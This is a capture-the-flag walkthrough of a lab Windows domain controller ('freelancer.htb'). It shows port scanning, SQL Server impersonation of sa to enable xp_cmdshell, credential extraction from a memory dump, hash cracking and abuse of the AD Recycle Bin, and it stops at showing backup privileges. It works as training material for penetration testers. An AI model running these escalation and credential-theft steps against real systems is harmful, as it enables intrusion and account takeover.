This is a Windows Server 2019 machine acting as a domain controller and hosting a job search web site. User IDs are Base64 encoded in the URLs, so we can just sign up an account and escalate to web administrator just manipulating the URL. Once in the administrator dashboard, we use a MSSQL console to escalate to sa user and enable xp_cmdshell commands, that we use to get a reverse shell and collect the user flag.
Regarding escalation, first we find a memory dump in the file system from where, once opened with a forensics tool, we can extract several hashes. One of the hashes can be cracked and enables a lateral movement to another user with permissions to restore AD objects from the recycle bin. We recover a deleted AD user account that in turn has SeBackupPrivilege enabled. We abuse it to backup SAM, SYSTEM and NTDS.dit files, from where we can extract domain administrator hash.
> for ports in $(nmap $target -p- --min-rate=5000 -Pn --open --reason | grep open | awk -F "/" '{print $1}' | tr '\n' ',' | sed s/,$//); do nmap $target -p$ports -sV -sC -Pn -vv -n && echo "\nList of open ports: $ports";done
Starting Nmap 7.93 ( https://nmap.org ) at 2025-01-11 22:23 GMT
Nmap scan report for 10.10.11.5
Host is up, received user-set (0.058s latency).
Scanned at 2025-01-11 22:23:42 GMT for 72s
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
80/tcp open http syn-ack nginx 1.25.5
|_http-title: Did not follow redirect to http://freelancer.htb/
|_http-server-header: nginx/1.25.5
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2025-01-12 03:26:28Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: freelancer.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: freelancer.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack .NET Message Framing
47001/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc syn-ack Microsoft Windows RPC
49665/tcp open msrpc syn-ack Microsoft Windows RPC
49666/tcp open msrpc syn-ack Microsoft Windows RPC
49667/tcp open msrpc syn-ack Microsoft Windows RPC
49670/tcp open msrpc syn-ack Microsoft Windows RPC
49676/tcp open msrpc syn-ack Microsoft Windows RPC
49677/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
49680/tcp open msrpc syn-ack Microsoft Windows RPC
49685/tcp open msrpc syn-ack Microsoft Windows RPC
55297/tcp open ms-sql-s syn-ack Microsoft SQL Server 2019
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2025-01-12T03:27:35+00:00; +5h02m41s from scanner time.
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-01-12T02:16:21
| Not valid after: 2055-01-12T02:16:21
| MD5: 1401da9f484054bc111cb6a5d6e013ac
| SHA-1: 318ef71538f6995e5c8bb0328bfdc6cde5756adc
| -----BEGIN CERTIFICATE-----
| MIIDADCCAeigAwIBAgIQNzt1neEllblK3ydUOq7puDANBgkqhkiG9w0BAQsFADA7
| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
| bABsAGIAYQBjAGswIBcNMjUwMTEyMDIxNjIxWhgPMjA1NTAxMTIwMjE2MjFaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
| AGwAYgBhAGMAazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANGhH1In
| I3yFpTxbXHlrV3gF6kjrbO1kgIAju3yUcwVpSWZjJxoCx0K97Vlquydh3ETEokU0
| E1zd2MLJ6C3EhidMJMfP3zlIL8yke72F8Cs2/o7lwo2NPU/eGRcpiAUbgapLspNy
| YSQvKc/J6+s2RuZCO0hklyD8POBhb1F5cdvRMV00oP6MvJz/kG8eqGuQJzjr0Eog
| rO82Pkv1nscnyaTjMCA1vJcY3klStjV9lU5Ee9ZJBBQ4b6m74Iisp8Rq9eGGW37t
| Fxj6EF1+jmaiyJgDHq8Mvu16LRTfCpbNWNS/MesDhBtyUmxqlgmBbVlDVPYgpVCF
| EClNLAAf3ilRfukCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAYeESeCIkIt5oLshq
| PpAngg42DB7V7jYxqznbndNDAMAgXq2BxpUXgW5oig2SqbHpFJ7WEJvcFx5m0ahe
| bHOI4bMY645p0Coq6dsZLDUTvWd7sQxOtn9UGMo3zPV3Ubv3gvc7BrT+X1/A+EN8
| T3P8WQ98mJxHa4K87rzyT6O5j838ANH/TEBGd1PSAlRzJV56gPRPEyvzFpcvS+sI
| GGFwRKxCe0KrsvN7mtyWFZb4mgfGo1nXQ9yVBAxGzeH22HlWaXwNV573Iy7WdB92
| evpUsfzjztr4OZaua8qMynVKD0EtCQDjtIOisrizcAB9E0vEMHWN5z7SZci3hp7/
| JuvXXg==
|_-----END CERTIFICATE-----
63189/tcp open msrpc syn-ack Microsoft Windows RPC
63193/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 5h02m40s, deviation: 0s, median: 5h02m39s
| smb2-time:
| date: 2025-01-12T03:27:26
|_ start_date: N/A
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 44972/tcp): CLEAN (Couldn't connect)
| Check 2 (port 53827/tcp): CLEAN (Couldn't connect)
| Check 3 (port 55524/udp): CLEAN (Failed to receive data)
| Check 4 (port 39397/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
Nmap done: 1 IP address (1 host up) scanned in 72.88 seconds
List of open ports: 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49670,49676,49677,49680,49685,55297,63189,63193
Looks like a domain controller, add to hosts file and enumerate the web site with Firefox. A job search comes into view, where you can register a new employer account.
There is and /admin path for which we still do not have access.
USER
When you try to log in with your created new account it says the "Account is not activated and cannot be authenticated". To bypass this just fill in a "Forgot password" form and reset your password, you'll need your personal answers.
Reset the password and access your user dashboard, then click on "QR-Code".
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';
It seems we can. Now we abuse this to add ourselves to the sysadmin group, for which we need first to know our current username.
> select user_name();
Freelancer_webapp_user
Add ourselves to the sysadmin group.
> execute as login = 'sa'
exec sp_addsrvrolemember 'Freelancer_webapp_user', 'sysadmin'
No results. Previous SQL was not a query.
The query returns "No results", but is executed successfully.
Now we can enable command execution and test if we can issue commands.
> execute sp_configure 'show advanced options', '1';
RECONFIGURE
> execute sp_configure 'xp_cmdshell', '1';
RECONFIGURE
No results. Previous SQL was not a query.
> execute xp_cmdshell "systeminfo";
output
null
Host Name: DC
OS Name: Microsoft Windows Server 2019 Standard
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation
OS Configuration: Primary Domain Controller
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00429-00521-62775-AA664
Original Install Date: 5/28/2024, 10:25:02 AM
System Boot Time: 8/31/2024, 5:33:49 PM
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 2 Processor(s) Installed.
[01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 Mhz
[02]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 11/12/2020
Windows Directory: C:\WINDOWS
System Directory: C:\WINDOWS\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-05:00) Eastern Time (US & Canada)
Total Physical Memory: 4,095 MB
Available Physical Memory: 2,294 MB
Virtual Memory: Max Size: 4,799 MB
Virtual Memory: Available: 2,952 MB
Virtual Memory: In Use: 1,847 MB
Page File Location(s): C:\pagefile.sys
Domain: freelancer.htb
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: vmxnet3 Ethernet Adapter
Connection Name: Ethernet0
DHCP Enabled: No
IP address(es)
[01]: 10.10.11.5
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
null
Begin from the mikasaackerman shell and take the opportunity to enumerate the system.
> systeminfo
Host Name: DC
OS Name: Microsoft Windows Server 2019 Standard
OS Version: 10.0.17763 N/A Build 17763
System Type: x64-based PC
In the desktop there is a text file. It says someone has created a memory dump for troubleshooting purposes.
Hello Mikasa,
I tried once again to work with Liza Kazanoff after seeking her help to
troubleshoot the BSOD issue on the "DATACENTER-2019" computer. As you know, the
problem started occurring after we installed the new update of SQL Server 2019.
I attempted the solutions you provided in your last email, but unfortunately,
there was no improvement. Whenever we try to establish a remote SQL connection to
the installed instance, the server's CPU starts overheating, and the RAM usage
keeps increasing until the BSOD appears, forcing the server to restart.
Nevertheless, Liza has requested me to generate a full memory dump on the
Datacenter and send it to you for further assistance in troubleshooting the
issue.
Best regards,
Bring the dump to your Kali machine and extract the DMP file. Open it with MemProcFS forensics tool.
> sudo ./memprocfs -device ../MEMORY.DMP -mount /mnt/memdump -forensic 0
Initialized 64-bit Windows 10.0.17763
============================== MemProcFS ==============================
- Author: Ulf Frisk - pcileech@frizk.net
- Info: https://github.com/ufrisk/MemProcFS
- Discord: https://discord.gg/pcileech
- License: GNU Affero General Public License v3.0
---------------------------------------------------------------------
MemProcFS is free open source software. If you find it useful please
become a sponsor at: https://github.com/sponsors/ufrisk Thank You :)
---------------------------------------------------------------------
- Version: 5.9.14 (Linux)
- Mount Point: /mnt/memprocfs
- Tag: 17763_a3431de6
- Operating System: Windows 10.0.17763 (X64)
==========================================================================
In the /mnt/memdump/py/regsecrets directory there is a file called regsecrets-install.txt. It contains instructions to install the regsecrets plugin. Apart from this plugin, also Pypypkatz package is needed, so it may be needed to install it with pip3.
After installing both things, run again the memprocfs command and navigate again to the /mnt/memdump/py/regsecrets directory. This time the tool is able to extract secrets from the dump and copy them to TXT files.
The DCC2 hashes are cached domain credentials, one of them can be cracked with module 2100. Save the password as it will be needed later.
On the other hand, the extracted LSA secret turns to be valid for a WinRM session as lorra199
Start by enumerating lorra199 permissions and groups.
> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
FREELANCER\AD Recycle Bin Group S-1-5-21-3542429192-2036945976-3483670807-1164 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
There is a group called FREELANCER\AD Recycle Bin. It seems members of this group can read or deleted active directory objects.
To abuse this privileged group, first we enumerate the deleted objects currently being stored in the recycle bin.
> Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties sAMAccountName
Deleted : True
DistinguishedName : CN=Deleted Objects,DC=freelancer,DC=htb
Name : Deleted Objects
ObjectClass : container
ObjectGUID : bb081f2b-bd0a-4fc7-b3e9-50e107e961ee
Deleted : True
DistinguishedName : CN=Emily Johnson\0ADEL:0c78ea5f-c198-48da-b5fa-b8554a02f3b6,CN=Deleted Objects,DC=freelancer,DC=htb
Name : Emily Johnson
DEL:0c78ea5f-c198-48da-b5fa-b8554a02f3b6
ObjectClass : user
ObjectGUID : 0c78ea5f-c198-48da-b5fa-b8554a02f3b6
sAMAccountName : ejohnson
Deleted : True
DistinguishedName : CN=James Moore\0ADEL:8194e0a3-b636-4dba-91de-317dfe34f5b5,CN=Deleted Objects,DC=freelancer,DC=htb
Name : James Moore
DEL:8194e0a3-b636-4dba-91de-317dfe34f5b5
ObjectClass : user
ObjectGUID : 8194e0a3-b636-4dba-91de-317dfe34f5b5
sAMAccountName : jmoore
Deleted : True
DistinguishedName : CN=Abigail Morris\0ADEL:80104541-085f-4686-b0a2-26a0cbd7c23c,CN=Deleted Objects,DC=freelancer,DC=htb
Name : Abigail Morris
DEL:80104541-085f-4686-b0a2-26a0cbd7c23c
ObjectClass : user
ObjectGUID : 80104541-085f-4686-b0a2-26a0cbd7c23c
sAMAccountName : abigail.morris
Deleted : True
DistinguishedName : CN=Noah Baker\0ADEL:d955e3c2-6ff5-4b66-8971-2caa60ea72c7,CN=Deleted Objects,DC=freelancer,DC=htb
Name : Noah Baker
DEL:d955e3c2-6ff5-4b66-8971-2caa60ea72c7
ObjectClass : user
ObjectGUID : d955e3c2-6ff5-4b66-8971-2caa60ea72c7
sAMAccountName : noah.baker
Deleted : True
DistinguishedName : CN=tony stark\0ADEL:e7027ba5-1921-488f-b4d8-58d7dac4aca9,CN=Deleted Objects,DC=freelancer,DC=htb
Name : tony stark
DEL:e7027ba5-1921-488f-b4d8-58d7dac4aca9
ObjectClass : user
ObjectGUID : e7027ba5-1921-488f-b4d8-58d7dac4aca9
sAMAccountName : sstark
Deleted : True
DistinguishedName : CN=Liza Kazanof\0ADEL:ebe15df5-e265-45ec-b7fc-359877217138,CN=Deleted Objects,DC=freelancer,DC=htb
Name : Liza Kazanof
DEL:ebe15df5-e265-45ec-b7fc-359877217138
ObjectClass : user
ObjectGUID : ebe15df5-e265-45ec-b7fc-359877217138
sAMAccountName : liza.kazanof
Notice for one of the deleted objects (liza.kazanof) we have already cracked the pass. So we will restore this user from the recycle bin and have a WinRM shell as her.
First we need the ObjectGUID of the deleted account.
Enumerating her permissions, we see she has SeBackupPrivilege and SeRestorePrivilege. This means she has complete access to the file system, even SAM and SYSTEM registry hives and the Active Directory database, that is stored in the file NTDS.dit in domain controllers.
> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
